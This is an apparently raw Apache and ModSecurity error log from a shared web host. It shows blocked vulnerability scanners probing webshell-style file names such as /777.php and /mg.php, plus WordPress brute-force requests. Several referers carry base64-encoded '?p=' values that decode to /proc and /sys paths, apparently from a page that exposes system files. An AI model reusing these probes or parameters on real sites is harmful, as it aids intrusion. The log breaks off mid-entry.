https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:10.214288 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:10.214751 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:10.233265 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.21:56093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:10.233703 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.21:56093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:10.273395 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.69:31980] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:10.273828 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.69:31980] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:10.419149 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.21:56107] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:10.419429 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.21:56107] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:10.620333 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:11:10.620806 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:11:10.713295 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:10.713763 2026] [access_compat:error] [pid 531797:tid 531879] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:10.767413 2026] [security2:error] [pid 531155:tid 531323] [client 191.233.234.186:45761] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "afghanjudofederation-af.accessart.af"] [uri "/loxico93.php"] [unique_id "ai3xnimiP80klyS0Nnr8cgAAATA"] [Sat Jun 13 18:11:10.868628 2026] [security2:error] [pid 531155:tid 531274] [remote 17.246.15.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xnimiP80klyS0Nnr8dwABgXY"] [Sat Jun 13 18:11:10.897725 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.67:38117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:10.898149 2026] [access_compat:error] [pid 531155:tid 531183] [remote 57.141.14.67:38117] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:10.995409 2026] [security2:error] [pid 531155:tid 531258] [remote 57.141.14.108:39725] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xnimiP80klyS0Nnr8egABOWY"], referer: https://nelsonfarmstn.com/product/lavender-chamomile/?add_to_wishlist=380&_wpnonce=dacad5c21f&add-to-cart=389 [Sat Jun 13 18:11:11.125311 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9ldmVudDMvZGV2aWNl [Sat Jun 13 18:11:11.125772 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9ldmVudDMvZGV2aWNl [Sat Jun 13 18:11:11.256060 2026] [access_compat:error] [pid 531797:tid 531915] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:11:11.256479 2026] [access_compat:error] [pid 531797:tid 531915] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:11:11.395728 2026] [security2:error] [pid 531797:tid 531886] [remote 115.78.9.138:45604] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.9.78.115.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "makulapictures.com"] [uri "/wp-login.php"] [unique_id "ai3xn8TA7b1mZrmcA-8qqgACahY"] [Sat Jun 13 18:11:11.397072 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.5:65071] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:11.397517 2026] [access_compat:error] [pid 531797:tid 531925] [remote 57.141.14.5:65071] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:11.480368 2026] [security2:error] [pid 531155:tid 531249] [remote 17.241.227.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xnymiP80klyS0Nnr8hwABRF0"] [Sat Jun 13 18:11:11.647432 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:11:11.647738 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:11:11.664536 2026] [access_compat:error] [pid 531155:tid 531238] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:11.664821 2026] [access_compat:error] [pid 531155:tid 531238] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:11.669487 2026] [security2:error] [pid 531155:tid 531298] [client 191.233.234.186:40195] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/mg.php"] [unique_id "ai3xnymiP80klyS0Nnr8jwAAARc"] [Sat Jun 13 18:11:11.797302 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:11:11.797586 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAz [Sat Jun 13 18:11:11.798570 2026] [security2:error] [pid 531797:tid 532115] [client 20.151.217.54:18522] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/777.php"] [unique_id "ai3xn8TA7b1mZrmcA-8qswAAAog"] [Sat Jun 13 18:11:11.910389 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.90:51674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:11.910751 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.90:51674] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:12.042095 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.7:45235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:12.042541 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.7:45235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:12.114133 2026] [security2:error] [pid 531155:tid 531327] [client 20.151.217.54:23784] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.calexpressmovers.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xoCmiP80klyS0Nnr8mwAAATQ"] [Sat Jun 13 18:11:12.168545 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:11:12.168973 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:11:12.327467 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:11:12.327771 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:11:12.337117 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.85:27744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:12.337401 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.85:27744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:12.563510 2026] [security2:error] [pid 531797:tid 531940] [remote 17.22.237.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xoMTA7b1mZrmcA-8qwgACJUw"] [Sat Jun 13 18:11:12.638395 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.22:45466] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:12.638866 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.22:45466] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:12.701638 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:11:12.702098 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9taWNlL3Bvd2Vy [Sat Jun 13 18:11:12.754996 2026] [core:error] [pid 531797:tid 532067] [client 47.79.206.126:12848] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:11:12.755018 2026] [core:error] [pid 531797:tid 532067] [client 47.79.206.126:12848] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:11:12.792230 2026] [security2:error] [pid 531797:tid 532104] [client 172.56.168.133:48742] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xoMTA7b1mZrmcA-8qyQAAAn0"] [Sat Jun 13 18:11:12.797067 2026] [security2:error] [pid 531797:tid 532104] [client 172.56.168.133:48742] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xoMTA7b1mZrmcA-8qyQAAAn0"] [Sat Jun 13 18:11:12.868268 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:12.868746 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:12.972200 2026] [security2:error] [pid 531155:tid 531172] [remote 17.246.19.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xoCmiP80klyS0Nnr8twABchA"] [Sat Jun 13 18:11:13.054850 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.22:45472] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:13.055167 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.22:45472] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:13.195284 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:11:13.195753 2026] [access_compat:error] [pid 531155:tid 531251] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 